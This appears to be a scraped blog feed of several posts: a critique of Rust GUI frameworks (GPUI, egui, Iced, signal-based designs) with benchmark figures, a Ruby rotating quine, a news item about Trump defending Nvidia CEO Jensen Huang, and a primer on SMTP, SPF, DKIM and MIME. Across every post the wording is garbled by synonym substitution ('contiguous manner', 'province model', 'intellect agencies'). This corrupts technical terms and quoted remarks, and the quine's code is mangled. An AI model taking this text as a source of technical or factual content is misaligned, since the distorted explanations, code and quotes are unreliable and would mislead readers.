MC Project

A Critique of GPUI

support@mycoding.id (Mira Azkia) — Mon, 09 Nov 2026 04:51:10 +0700

Recently, there has been a trend of additional desktop GUI apps being built using native rust GUI frameworks. And there are now equal fine known speck apps getting authoritative rewrites: Discord announced their app is being rewritten using GPUI. Meanwhile, a lot of the LLM-clones being published appear to choose egui. In this post, I desire to explain why I am not certain those frameworks are a good basis to build on.

To put it plainly: I accept the two GPUI’s and egui’s province models are dead ends for complex desktop applications. Both are notable projects, and they have their place. Zed genuinely feels accelerated and nice to use, and I use egui myself for debug interfaces in bevy games. But I don’t think those frameworks should be the default choice for native desktop apps.

I desire to create two arguments:

Every UI architecture ends up needing to cognize what changed and who depends on it, or achievement characteristics volition not scale. A example whose state model cannot say so makes the use say it by hand, at the disbursal of whatever made that framework’s API semantics appealing in the archetypal place.
Once you acknowledge you desire that precision, components that run once, with signals and reactive holes, are the simplest API for it.

Disclosure: I ported GPUI’s current Linux renderer to wgpu, I built the benchmark harness used below, and I activity on zgui, a signal-based Rust example that appears in the charts.

The lone inquiry that matters

Raph Levien quotes Ron Minsky: “hidden inner of all UI example is some kind of incrementalization framework.” A UI is a function of state, and state changes a small at a time. But if that function becomes expensive, you might desire to commencement looking for ways to get a faster way to update pixels on the display from an incremental province change. So all example has to answer one question: whenever one value changes, what runs?

Model	What a compose runs	Who finds the change
Immediate (egui)	All UI code, next frame	Nobody
Elm (Iced)	All of view, afterward a diff	The diff
Views (GPUI)	Every perspective without a cache	You, alongside notify
Signals, re-run (Freya, Compose)	Components that peruse it	The framework
Signals, run formerly (Floem, Solid, zgui)	Closures that peruse it	The framework

I comprehend why group akin the archetypal three. No province to synchronize, one place anywhere province lives, a render function that is plain Rust, no macros or separate compiler. I’m gonna create the disagreement that these approaches don’t scale, and fixing the underlying issue defeats what makes these models simple and uncomplicated to logic about.

GPUI: notify is zone.js

GPUI calls itself “a hybrid contiguous and retained mode” framework. It retains province in entities. The UI is defined in render functions, changing state must trigger a rerun.

impl Render for Sidebar { fn render( &mut self, _: &mut Window, cx: &mut Context<Self>, ) -> impl IntoElement { let inbox = self.inbox.read(cx); div() .child(format!("{} unread", inbox.unread())) .children(inbox.threads.iter().map(|t| t.title.clone())) } }

It is average Rust. You can use if, for and local variables, and there aren’t any weird wrappers. State changes necessitate an definitive notification:

self.threads[i].unread = false; cx.notify();

notify carries the being id. Since Rust doesn’t have a compose obstacle on &mut, GPUI cannot see which site changed (or whether item changed at all). The Angular squad wrote this concerning zone.js in 2023: it “is lone capable of notifying us whenever item might have happened”, and “This method has not scaled well.” notify is additional exact than a zone, since it names an entity, but ultimately it makes the identical benevolent of statement. Below that id, GPUI knows nothing, so it re-renders all perspective that is not rearward a valid .cached() boundary. And in practice, GPUI frequently rerender all view, because .cached() is rarely used by use authors, and imposes certain restrictions on layout semantics.

GPUI has a position of being “fast”. And during constants power be relatively low, asymptotically, it is leaving a lot on the table. So I ran a few benchmarks, that specifically test how much a sparse province alter in a ample UI really costs.

At 3,000 live rows alongside a cached perspective per row, changing one tag takes 8.4 ms. A hover, a keystroke and penning a value equal to the old one all disbursal about the same, since the disbursal follows the tree and not the change. It grows by about 3 ms per 1,000 live rows. Write the rows as plain elements, as in the code above, and the identical tag takes 92 ms. A hand-written equality defender takes the equal compose from 7.9 ms to 0.9 µs (demonstrating how much is remaining for each call location to find).

This doesn’t average that all GPUI app is slow, but it shows the bounds of the state model. Especially alongside additional costly layout, you do hit this wall in practice. Zed power awareness fast, but the fact is that Zed is a relatively simple app, UI wise. The app’s chrome contains a few buttons, in a simple layout, a sidebar and a content editor, and the content publishing company is implemented as a custom element, entirely bypassing GPUI’s layout and perspective semantics. By their own account, a opening “has tens of nodes and a few thousand elements”.

Making GPUI exact defeats GPUI

The apparent fix is to keep more. Zed has experimental branches for this, and Longbridge’s gpui-fast is a fork that keeps all view’s subtree between frames. It works, inside a limit: the smallest item either one can reuse is a view. So to update one tag without rebuilding the sidebar, the label have to be a view:

pub struct UnreadBadge { unread: usize, _watch: Subscription } impl UnreadBadge { pub fn new(inbox: Entity<Inbox>, cx: &mut Context<Self>) -> Self { let unread = inbox.read(cx).unread(); let _watch = cx.observe(&inbox, |this, inbox, cx| { let unread = inbox.read(cx).unread(); if unread != this.unread { this.unread = unread; cx.notify(); } }); Self { unread, _watch } } } impl Render for UnreadBadge { fn render( &mut self, _: &mut Window, _: &mut Context<Self>, ) -> impl IntoElement { format!("{} unread", self.unread) } }

Its owner afterward has to create it and keep the handle:

let sign = cx.new(|cx| UnreadBadge::new(inbox.clone(), cx));

That is an entity, a Render impl, a subscription, a stored copy of the value, a hand-written defender and an owner, all to province that one tag depends on one count. In a indication example it is this:

let unread = Memo::new(move |_| { threads.with(|ts| ts.iter().filter(|t| t.unread.get()).count()) }); Label::derived(move || format!("{} unread", unread.get()))

The remainder of GPUI’s API plant against this too. Render takes no props, so parents shove values into kid entities during their own render. RenderOnce components, which is what buttons and rows are, diagram inner their parent’s view and are no border at all. List rows are closures, so a row perspective means managing a keyed map of entities by hand.

And it lone helps anywhere province happens to row up alongside views. I reran gpui-fast’s own 60-panel benchmark, drew all example once, and afterward moved the state:

With province owned by all panel, one alter saves 83%. With a shared model, retention makes the identical example 11% slower. The opening and the edit are identical. In genuine Zed, the Zed squad measured preservation “1–3% slower than off on average workloads”, established that “Most of the real-Zed win” came from other work, and warned that “microbenchmark wins didn’t foretell real-Zed results”. gpui-fast is genuine advancement and expenses small to adopt: it takes the 3,000-row tag from 8.4 to 3.4 ms. But that example renders three views and lays out one element, and motionless spends 3.4 ms, since the example is motionless a walk complete the entire tree.

The web has already walked this road. Redux’s manner guide says “Prefer having more UI components subscribed to the Redux shop and study data at a more granular level”. MobX says to “create many of small observer components”. Both inform you to create a border per projection, manually, because the example can’t infer it.

This is the part I discover hardest to get past. People choose GPUI since render is a plain function of state. A UI anywhere all projection is a separately owned entity alongside a subscription and a defender is no longer that. It is a indication graph built by hand from much heavier parts, anywhere a missed border is silent. Zed’s own design note says “Missing notifications are use bugs”. Keep the pleasant API and you get view-sized updates. Take the precision and you endure the pleasant API. A signals crate on top would not alter the trade, since its smallest descend is motionless a view. Reaching one node alongside no render operating needs writes the example can see and nodes that outlive a frame, and that method a new province example and a new component contract.

Elm: deceptively uncomplicated at small scales

At the size it is normally shown, the Elm architecture is a deceptively simple UI model: one province value, one update, one view, and all alter has a name. While ample applications do use it successully, I do desire to make the item that this clarity belongs to the small case, and in a complex application signals and stores are arguably easier to logic about.

Take the identical unread count. It have to be correct following all message, so either view recomputes it on all update or update maintains it:

match communication { InboxMessage::MarkRead(i) => { if self.threads[i].unread { self.threads[i].unread = false; self.unread -= 1; } } InboxMessage::Delete(i) => { if self.threads.remove(i).unread { self.unread -= 1; } } InboxMessage::Arrived(thread) => { self.unread += thread.unread as usize; self.threads.push(thread); } }

The definition of unread is now nowhere in particular. It is dispersed across every arm that touches a thread, and all new communication has to recall it. The compiler checks that the equivalent is exhaustive, but it does not inspect the arithmetic. The memo complete has one definition, and a new author cannot forget it.

The identical item happens alongside location. Where does a hover province or a half-typed draft live? Single origin of fact says in the model, alongside a communication type routed downward and an outcome routed rear up. Elm’s guide: “Actively trying to make components is a formula for catastrophe in Elm.”. Iced recommends returning an Action to the parent. Iced’s maintainer says components in this architecture continually end “with pain”, and additionally makes the finest case for the discipline: avoiding them “forces you to think difficult concerning your data model”. Okay, I conjecture that’s a fair argument. But cosmic-files has 136 top-level communication variants and 73 additional for a tab, affirmative a Tab::update that returns commands for the genitor to interpret. Everything in that is explicit, and none of it is simple.

The architecture additionally has the identical matter GPUI has. The update implementation tells you what a communication writes, it cannot inform you what peruse the field. Anything inner the perspective might. Elm’s architecture doesn’t answer “what changed?”, it answers “what happened?”. Session export power be helpful in some scenarios, but it is not helpful for scalable achievement characteristics.

This is what I peruse in the web’s history. Redux is the best-known related of this design, and its docs peruse akin a site report. Treat a part of your store “as if it were a database”. Selectors “will be re-run following every dispatched action”. The center bundle is “obsolete”, replaced by a toolkit made to eliminate boilerplate. Outside React, the mainstream has moved to tracked reads. Angular, Vue, Svelte and Solid build on signals or something equivalent, Preact offers them, and Svelte’s squad put it this way: “we’ve come to the realisation that Knockout was correct all along.” Inside React, Jotai and MobX bring tracking in as libraries, and Legend-State equal offers a “render once” style. Most applications are motionless on React, and React’s team disagrees, which I arrive rear to below. So the convergence is on the province model, outside one ample exception.

Performance follows the identical line. Since Iced rebuilds all of perspective after every lot of messages, one tag at 3,000 rows builds 39,023 widgets and takes 7.3 ms. Lazy on all row lone gets that to 5.7 ms, since view still has to sojourn all row to hash its key. The authoritative lazy example keys on a version: u8 that four update arms bump by hand. That is a dirty flag alongside a nicer name. In fairness, cosmic-files and Halloy use no lazy at all, and on a virtualized catalog Iced is among the fastest frameworks I measured, at 0.19 ms. A bounded display rebuilds cheaply. But asymptotic complexity is clear. And akin to GPUI, the API semantics merely can’t express the necessary information.

There is really precedence for this: Vizia shows what happens whenever you add precision to this model. It moved from lenses to signals in March 2026 and kept its Model and event dispatch. This is its counter, shortened:

pub enum AppEvent { Increment, } impl Model for AppData { fn event(&mut self, _: &mut EventContext, event: &mut Event) { event.map(|app_event, _| match app_event { AppEvent::Increment => self.count.update(|count| *count += 1), }); } }

let figure = Signal::new(0); AppData { figure }.build(cx); Button::new(cx, |cx| Label::new(cx, "Increment")) .on_press(|cx| cx.emit(AppEvent::Increment)); Label::new(cx, count).width(Pixels(50.0)).live(Live::Polite);

The tag says the indication directly, and the identical closure that builds the button created it. The enum, the dispatch and the handler be to transport one call to update. Vizia was never strict Elm, since its views are built once, and signals were a sensible move: it got per-field writes. But appearance at what remains of Elm’s reasons. State is a chart of mutable cells, Model is a bag of handles, and event is a &mut oneself flank effect. You now have two systems for saying that item changed. So my exception to adding signals to the Elm architecture really is the identical as alongside GPUI: they work, and they eliminate what you came for.

egui’s throw is the finest in the field: “You don’t have to concern concerning app state and GUI province being out-of-sync”. For a tool, this is difficult to beat:

for row in rows { ui.horizontal(|ui| { ui.label(&row.name); ui.label(row.price.to_string()); if ui.button("+").clicked() { row.price += 1; } }); }

The cost is that a example expenses the size of the UI, autonomous of what changed. At 3,000 rows all small edit takes concerning 32 ms, or concerning 19 ms with accessibility off. egui’s author is candid concerning the trade: contiguous manner is “easier to use, but small powerful”.

As the use grows, the first attention goes. The layout paradox is “a fundamental shortcoming”. Long lists need show_rows, which takes one fixed row height. Rerun, the largest egui use I cognize of, clamps queries by “inspecting egui province from the former frame”. Anything costly goes behind a cache keyed on your data. A cache that has to concur alongside your data is the synchronization issue contiguous manner set out to remove, now in application code, one example late.

One engine, distinct wiring

The harness can display this directly, since several frameworks can be wired coarsely and finely on the identical engine:

I benchmarked several of the engines in two ways, formerly in the most fine grained way they can be used, and formerly in a coarser way. The results display how much there is to acquire alongside fine-grained reactivity.

Two things remain out. Iced’s aspect is small since the perspective function still runs. And Floem’s coarse case is value a look: all division says one global revision signal, which is notify in indication clothing. It is the slowest result on the chart. So signals do not rescue coarse state. The React squad established the same item from the another side: on a benchmark alongside “one elephantine input”, a signals-style runtime disappointed, and Joe Savona concluded the data example “is just as important, perchance additional so” than the algorithm. The province has to be shaped akin the reads. That is why I call this a province example problem. A good API should create it uncomplicated to align the data example alongside its UI projection.

Why run once

Suppose you obtain all of that. You desire the example to track reads, and you want province shaped to match. What is the simplest API?

pub fn sidebar(threads: RwSignal<Vec<Thread>>) -> impl IntoView { let unread = Memo::new(move |_| { threads.with(|ts| ts.iter().filter(|t| t.unread.get()).count()) }); Stack::vertical(( Label::derived(move || format!("{} unread", unread.get())), dyn_stack(move || threads.get(), |t| t.id, thread_row), )) }

That is the entire thing. The build runs once. The closures you hand to the framework run again whenever item they peruse changes. A local changeable is a local variable. There are no hook rules, no dependency arrays, no stale closures and no PartialEq on props. Nothing reconstructs a row’s identity, because the row is motionless there.

Compare signals alongside re-running components, which is Freya’s model. It works well: one keystroke at 3,000 rows expenses 1.2 ms. But appearance at a counter:

#[derive(PartialEq)] struct Counter; impl Component for Counter { fn render(&self) -> impl IntoElement { let mut figure = use_state(|| 0); } }

use_state exists since that row runs again. You now clasp the two models: read tracking decides which range re-runs, and afterward re-render semantics use inside it, alongside hooks, prop equality and a diff. Finer updates need smaller components, which is GPUI’s issue at a much lesser price. What the re-running build buys is ordinary authority flow, and that is the grave objection.

Dan Abramov makes a compelling argument. Run-once puts your rendering logic in closures, so top-level authority stream stops working, and you collection code around values and not about logic. “The attractiveness of React is that making things ‘computed’ is an optimization, not a requirement.” He is correct concerning it. This compiles, but the archetypal row never updates:

Label::new(count.get()), Label::derived(move || count.get()),

A reactive if has to rotate into a dyn_container, and a for a dyn_stack. Solid 2.0 had to add dev warnings for top-level reads.

But the identical comment contains the logic I district the another way. He says Solid’s regrouping is “Similar to how you have to restructure your code about the values whenever you optimize it alongside useMemo.” Exactly. If your use never needs that, React’s example may be simpler. If it does, you pay for the regrouping either way, and the lone choice is when: from the start, or later under a profiler. Ryan Carniato’s answer is the one I concur with: “In Solid you always compose as if the data is derived so you don’t refactor to optimize.” Once you cognize you desire this precision, run-once is the API that stops pretending otherwise. The nonaccomplishment modes additionally favor it. A forgotten gap goes stale on the archetypal update, in the location you wrote it. A forgotten notify depends on what alternatively happened to redraw.

To be absolutely honest, the ecosystem’s wider convergence is on peruse tracking in general, and not on run-once specifically. Angular considered per-binding updates and chose per-view, in writing, and it lands inside concerning 1 ms of Solid on a partial update. Apple and Google, who authority their languages, kept re-running bodies alongside @Observable and Compose. A gap is itself a re-run scope, so what differs is how big the default range is. Two things I desire to note on this though:

First, those systems pay for their larger scopes alongside a compiler. Compose has a compiler plugin, Angular compiles templates, and React’s compiler is the serious competitor to everything here: it keeps React’s API and removes many needless re-renders, alongside loads up to 12% better. For Rust, I doubtful that most group that favor contiguous manner or elm (or any GPUI is) would not like the idea of an additional compiler. A proc macro lone sees tokens, not types, and render is an arbitrary function, so there is no continue that can split it into scopes. What Rust can province cheaply is a closure.
Second, their own direction keeps describing the identical problem: “Defer says as long as possible” for Compose, and “Unnecessary perspective build updates can really add up” for SwiftUI. A example that runs the build formerly removes that category at component level.

View-level rerun and fine-grained signals can have the identical performance ceiling. But signals advance fine-grained province projections and memoization from the beginning, for view-level rerun its an definitive choice that often leads to additional boilerplate.

Signals do not automatically create your app fast

Fine-grained reactivity does not create an app accelerated on its own.

Floem’s reactivity does exactly what it promises. Changing a tag runs 5 effects and spends 0.01 ms in reactive work, afterward concerning 14 ms in layout, because Taffy does not cognize that one leaf moved. (Floem additionally has a known bug anywhere that edit never repaints, so treat this as a floor.) Vizia runs 4 bindings, then walks all 120,091 entities, for 46 ms. Slint writes an equal value in 4 µs, and takes 172 ms for a label, in a continue that walks concerning 30,000 items. Freya produces 5 mutations, afterward visits 57,050 layout nodes to recompute 14. GPUI beats most of them on this edit.

This is the difference the disagreement depends on. All of those linear expenses are in the motor respectively. Nothing in the application’s code requires them, so they can be fixed rearward the identical API without changing an application. zgui shows how far that goes: 0.69 ms for the tag at 3,000 rows and concerning 0.26 ms per 1,000 rows, about 12 times flatter than GPUI. It is motionless not flat, and it is my example and was tuned on this harness, so obtain these numbers alongside a grain of salt. In Iced and egui the linear disbursal is in the contract: the API says your code runs. No motor activity can eliminate that, and app code has to change. GPUI likely sits location in between, which is why gpui-fast can improve the circumstance to several extent.

At this point, I wan’t to portion a additional detailed benchmark matrix. Read the re-running columns downward the archetypal five rows and they barely move, since they do not depend on the edit. The indication columns move a lot, since the underlying implementations differ.

The base of that grid is additionally anywhere the disbursal signals have becomes visible.

Creation. Filtering at 3,000 live rows takes 56 ms in Iced, 67 in egui and 123 in GPUI, against 371 in zgui, 835 in Floem and 982 in Freya. On a virtualized catalog it is 1.0 ms in Iced and 7.2 in zgui. “Setting up the dependency chart is not free.”
Memory. Resident recollection use for ample scenes is mostly higher the more a example retains.
Effects. Facebook moved distant from two-way binding since “cascading updates” became difficult to predict. That former is true, and Angular’s docs still say “Effects have to be the final API you attain for.” Modern graphs are glitch-free. Careless effects are motionless difficult to logic concerning and quickly outcome in feedback loops or akin stuff.
Rust. Signals depend on arena handles and move closures. Levien thinks such patterns “adapt poorly to Rust”. I think they modify fine enough, and GPUI’s entities are arena handles too, but, admittedly, it is not a liberated lunch.

Conclusion

GPUI makes a complete example realitively cheap, and that makes it likely good enough for many use-cases. It is certainly adequate for an publishing company whose expensive exterior is handled by hand. For a ample use it leaves a choice: keep the API group akin and pay per view, or get precision by writing a indication chart out of entities. Elm and contiguous manner have the identical problem. Each is clearest in the small, and all loses the item it was chosen for as precision becomes necessary, and, from my individual experience, that happens faster than group expect.

Tracked says are anywhere most of the site has ended up, any it started from. If that is anywhere we are going, I think we should commencement there, and make the component a function that runs once.

Method

Numbers are medians of use and resolve from my unpublished harness, on one machine: i9-13900K, RTX 3080 Ti, Vulkan, Linux. Windows, compositor and input are not included. Frameworks’ maintainers have not reviewed the adapters.
GPUI is at ddc9eda925 and gpui-fast at 86a8228229. zgui is at 082337db. These were through September and November 2026, as the finest of three passes.
Cells marked † in the grid unsuccessful their correctness oracle: Floem’s tag and keystroke edits, as noted above, and Slint’s font size. Every another charted cell passed.
The 60-panel results are gpui-fast’s retained_bench alongside my additions, in test mode, so no GPU activity is included. Retention off there is motionless gpui-fast.
Figures from Zed’s scheme are its authors’, from experimental branches.
Rust examples were type-checked against the vendored frameworks. Vizia’s and Freya’s arrive from their own sources, shortened.

References

The Qlobe: Rotating Quine (2010)

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 04:15:17 +0700

My Quines are sometimes specialized for Japanese. But to act RubyConf, I should compose "global" Quines.

v=0000;eval$s=%q~d=%!^LcfYoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "%.#% :::##" 97N-A&Kj_K_> This quine turns 45 degrees whenever executed; thus, it volition arrive about whenever executed eight times (see below). You can create it any-degree rotate by giving an entire figure as an command-line argument.
 v=0416;eval$s=%q~d=%!^LcfYoP 4ZojjV)O>qIH1/n[|2yE[>:ieC ".#####%.#% " 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "#% .#####%." 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "####% .####" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "#######% .#" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC ":::#######%" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "% :::#####" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "%.#% :::##" 97N-A&Kj_K_> translated from mamememo in Japanese (2010-09-05).

Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it'

support@mycoding.id (Shubhangi Goel) — Mon, 09 Nov 2026 04:12:32 +0700

Trump stated that Jensen Huang should remain on as Nvidia's CEO. Alex Wroblewski / AFP via Getty Images

President Donald Trump backed Nvidia CEO Jensen Huang on Sunday following Huang stated he had been unfaithful to his wife alongside a female US intellect reportedly suspects was a Chinese spy.

"I think he's an honest guy," Trump told reporters on Sunday. "I think he likely has an excuse for it. You have to comprehend it."

Trump stated that in reply to a inquiry concerning whether he wishes he had acted on US intellect concerning the matter earlier.

Trump stated he has not spoken to Huang concerning the matter, but added that Huang has done an "amazing job" for the US and should remain Nvidia's CEO.

In a memo to Nvidia workforce on Sunday, Huang stated that he had been unfaithful to his spouse and that his actions had hurt his family. He added that Nvidia's commission was launching an inquiry into whether he was targeted by a abroad intellect agency.

Late final month, The New York Times reported that US intellect agencies had concluded that Huang was the mark of a Chinese spy plot. The outlet reported that Alice Huang, a Chinese endeavor administrator and Nvidia part buyer who is not connected to the Nvidia CEO, had developed a near association alongside him and had passed data to Beijing. She had been recruited to search data and possibly shove for additional advanced Nvidia chips to be made accessible in China, The Times reported.

Huang earlier stated he had a "normal" endeavor relationship alongside the woman.

Nvidia did not immediately react to a petition for comment.

On Sunday, Nvidia's commission said it had no logic to accept that national safety or business secrets had been compromised, but stated its enquiry would analyze the accessible information. It added that Huang was cooperating alongside the investigation.

Huang has rotate into an increasingly influential sound in Washington's conversation complete chip-export restrictions on China. He has taken the stance that strict limits on US part revenue could backfire by accelerating the growth of Chinese competitors.

A Bit about Email

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 03:46:21 +0700

2026-11-06 — 2026-11-08 Before you torch and pitchfork me, I'm conscious most of this is simplified and doesn't go into border cases, equal although the net is composed entirely of border cases. Otherwise, I'd be penning a entire book.

First, several terminology; A representative email volition former through many distinct components on the way to the recipient:

 1. Sender's MUA [Via SMTP on harbor 465] 2. Sending MSA 3. Sending MTA [Via SMTP on harbor 25] 4. Receiving MTA 5. Receiving LDA and communication store [Via IMAP] 7. Receiver's MUA

(These aren't all necessarily distinct machines or equal distinct programs, but it is helpful to name all step.)

The communication person delegate (MUA) runs on the user's device and is what they use to dispatch or peruse messages. Let's say they dispatch something: that communication volition be uploaded to to the submission delegate (MSA) which checks the user's password before handing off to the communication transfer delegate (MTA).

The transfer agent's job is to conversation to another communication servers and get the communication to the receiving side's MTA. Once received, it's stated to the local shipment delegate (LDA) to be stored until the recipient checks their email. The name "LDA" is non-standard, but I use it to evade having four distinct abbreviations differing by a sole letter.

The logic for this structure is that whenever the scheme was being designed (around 1980), most organizations could lone oversee a sole server. Maintenance was a complete period job and updates frequently required multiple days of downtime. A well-connected device power have dedicated single-digits megabit/second nexus that worked fractional the time.

This forced the MTA and MUA distinction: if the recipient's server isn't up whenever the email is set, the sending MTA volition preserve the communication and re-attempt shipment later. This way, abbreviated outages don't logic bounced mail. Since the communication client is an interactive program the person runs, a distinct communication shop is needed to keep the email until it can be read.

Most MTAs are configured to continue retrying a communication for five days, normally alongside exponential backoff: mine volition delay 5 minutes following the archetypal failure, and addition the duration to one hr in prolonged outages.

The MSA and LDA have continually existed in several capacity, but have gotten a lot additional complicated when group started accessing email from their own computers alternatively or remotely logging onto a server.

SMTP

Most communication happens complete the Simple Mail Transfer Protocol, including MTA-MTA delivery. To narrow it downward a bit, I'll feign do be an MTA sending email to blog@maurycyz.com.

The archetypal stage is to appearance up the receiving MTA for that domain:

 # dig MX maurycyz.com [snip] maurycyz.com. 300 IN MX 1 smallcrow.com. [snip] # dig A smallcrow.com [snip] smallcrow.com. 300 IN A 65.109.172.162 [snip]

Email is old adequate to have it's own dedicated DNS document alternatively of using subdomain hacks or TXT abuse. The figure is a precedence (smaller is higher), which is used if multiple hosts are specified: a big email provider volition have multiple servers to justify timely delivery.

SMTP is a comparatively straightforward content based protocol. The one capture is that most communication servers volition necessitate a CRLF as a data terminator. This can frequently be sent alongside ctrl-m, but using a tool that automatically inserts cartridge-return bytes is easier:

 # telnet telnet> set crlf Will dispatch wagon returns as telnet . telnet> open smallcrow.com 25 Trying 65.109.172.162... Connected to smallcrow.com. Escape character is '^]'. 220 smallcrow.com ESMTP Postfix HELO nowhere 250 smallcrow.com MAIL FROM: 250 2.1.0 Ok RCPT TO: 250 2.1.5 Ok DATA 354 End data alongside . From:  To:  Hello, world. . 250 2.0.0 Ok: queued as C870D7CD93 QUIT 221 2.0.0 Bye

Each row sent is a command, to which the distant server responds alongside a three numeral figure followed by a individual readable explaintaion. 200 responses average it worked, 300 is "carry on...", 400 indicates impermanent errors which inform the sender to try again later, 500 errors signify that the email have to be returned as un-deliverable.

(If this seems akin to HTTP, that's no coincidence. A lot of the web, including its header syntax, was lifted from SMTP)

The archetypal command is continually HELO (or EHLO), followed the sending MTA's hostname. This is normally not the identical hostname that's in an email address, but many providers necessitate it to equivalent the sender's IP address. . The next two, MAIL FROM and RCPT TO define the location to provision to, and the location for any nonaccomplishment notifications. Bounce messages are normally generated one stage up from anywhere the error occurred: in most cases the receiving MTA has a issue and sends an error code to the sending MTA, but by that period MSA has already disconnect, forcing an emailed notification. Those notification themselves use an bare MAIL FROM to evade infinite loops.

Once the location has been stated and accepted, a DATA command is sent, followed by the genuine message. This, at a minimum, contains the "From" and "To" headers alongside alongside several text. The communication is terminated alongside a solitary duration to which the server replies to signify that the communication was sucessfuly handed off.

Final hop MTAs should onward the email to the LDA before sending rear a position code. This ensures that they never obtain a communication which they can't deliver, which would outcome in a error notification. This "backscatter" communication interacts seriously alongside spammers that forge MAIL FROM: it turns their evidently bogus communication into one that is apt to be delivered and logic a nusance.

There is no necessity for the addresses inner the email to equivalent the ones in MAIL FROM and RCPT TO (also known as the envelope). The most average logic of this is a communication that has been forwarded. For example, a mailing catalog volition set the letter cover destination to equivalent all member's email, but keep the first "From" and "To" headers intact so that replies activity correctly. The letter cover from volition normally be changed to item to location the catalog director volition inspect for error notifications.

Now, it's not that intermediate systems don't modify the headers: Most stages volition add a "received" header to document anywhere they got the message.

While required for MTA to MTA communication, SMTP is used throughout the entire system. The communication client submits email using a distinct port, but complete the identical protocol. Communication between inner components (i.e. MTA to LDA) frequently uses the closely connected Local Mail Transfer Protocol: the chief difference is the assumption that the receiver doesn't have a communication queue and volition either provision the communication immediately or come back an error.

Submission normally uses TLS to harbor 465, alongside the supplement of a password (in base64):

 AUTH PLAIN 334 AGh1bnRlcgBodW50ZXIy 235 2.7.0 Authentication successful

The one item that's considerably distinct is the MUA's fetch, which operates on a "pull" basis. I won't go into the syntax here, but it's not terribly complicated.

... but if you really try sending an email to, say, gmail, according to what I've written so far, it won't work. Some of that is because of them enforcing things akin the Message-Id header: a distinctive identifier used to de-duplicate communication in cases anywhere the receiving MTA accepts an email but the association drops before the sender is informed concerning this. This causes the sender to try again later, which duplicating the message.

However, a big part of it is...

Authentication

Base SMTP trusts that all sender is be fine behaved: anyone can dispatch email as anyone else. In fact, many hosts were configured to obtain and relay communication from anyone as a conveyance for whenever someone's customary server was down.

The first resolution to bad behavior was to get the culprit kicked off the internet... but that cut distinct quickly formerly the network grew and companies began getting involved: the archetypal documented case of spam email was sent in 1978 and sold 13 myriad dollars in computers. While authentication doesn't forestall spam, it makes it imaginable to display out unwanted senders.

Verifying sender addresses is not imaginable using the MX record, since there is no justify the identical presenter is used for receiving and sending mail. The simplest resolution is to publish the sending location in a seperate DNS record:

 @ TXT v=spf1 ip4:65.109.172.162 ip6:2a01:4f9:c011:841a:b01d::1 -all ; Roughly: ; authorize from 65.109.172.162 ; authorize from 2a01:4f9:c011:841a:b01d::1 ; refuse otherwise

However, that's not fairly adequate for the email empire. Big-tech additionally wants the email build to be signed alongside a cryptographic key published via a (DKIM) DNS record. This requires adding a stage to sending mails, normally as a plugin for the MTA.

While I rag on big-tech a lot, but this is really a sensible policy: SPF can lone verify the MAIL FROM, since forwarding the email volition chance the origin IP address. DKIM signatures are attached to the communication and can be used to verify the first sender (the "From" address) of a message, which is what's really shown to the person in most cases.

However, the two of these don't really forestall spam, since spammers can fair set up a few TXT records. Big-tech additionally requires the sender's HELO hostname to be accordant alongside their IP address, via the two onward and reverse DNS. This helps forestall compromised devices from spewing out junk: a astute TV is improbable to have a meaningful PTR record, and if it does, that hostname won't determine rear to it's address.

... unfortunately this guideline additionally makes it unattainable to immediately dispatch communication from most residential net connections unless you own the location block. Of course, the resolution is to pay a big-tech business prosperity to relay your emails. If you don't akin this, discover a communication provider alongside additional permissive rules: the lone logic big-tech is capable to keep their racket operating that five or so companies authority 99% of email.

The message

This is anywhere SMTP stops being so simple. Let's appearance at the simplest imaginable email formerly it's been delivered:

 Return-Path:  Delivered-To: bob@here Received: from here by current alongside LMTP id bs05E10S7Go4VQMAHrglgg (envelope-from ) for ; Thu, 05 Nov 2026 05:21:33 +0000 DKIM-Filter: OpenDKIM Filter v2.11.0 current B05E67CD18 Received-SPF: None (mailfrom) identity=mailfrom; client-ip=313.33.33.337; helo=there; envelope-from=alex@there; receiver=here Received: from there (unknown [313.33.333.337]) by current (Postfix) alongside SMTP id B05E67CD18 for ; Thu, 05 Nov 2026 05:20:42 +0000 (UTC) From: alex@there To: bob@here Hello, World!

The format of the headers is superficially akin to HTTP headers, except that no row should exceed 78 bytes. (without the CRLF row terminator) Overlong headers are damaged up and newly created lines are prefixed alongside whitespace to signify that they are a continuation of the final header.

Mail application mostly preppends headers to the commencement of a message, so it's helpful to peruse them backwards. "From" and "to" are fairly oneself explanatory. Next, the "received" header contains a note from the receiving MTA: it includes the source's HELO name, IP address, RCPT TO and a timestamp.

The MTA afterward performed SPF and DKIM checks, which came up empty: There's no signature and the MAIL FROM hostname is not publically resolvable.

The LDA added another "received" header, although it's not extremely helpful. More importantly, it tacked on the "return-path" alongside the first MAIL FROM location and recorded the mailbox the communication was delivered to.

However, the build isn't continually plain text. This is an email that includes formatting:

 [...] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=----IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Transfer-Encoding: 7bit ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello, World! I can do bold text! ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello, world! I can do bold<= /b> text
 ------IX71FHL6PHA0538LS1WKT2W9SF7S8X--

That's right, it's a web page!
However, since not all email clients can comprehend HTML, the communication additionally includes a plain content version. This is done using MIME's "multipart" encoding, in this case, multipart/alternative, which indicates all the versions are functionally equivalent.
MIME's type figure has been stuck at 1.0 since 1996.
The delimiter is a randomly chosen string, which allows multiple multiparts to be nested inner without escaping. Each division of the communication has it's own headers, in this case, indicating that it's sent in the quoted-printable encoding. This allows the email communication to merge any bytes without exposing the MTA to scary things akin non-seven-bit ASCII: remember, the SMTP is 45 years old.
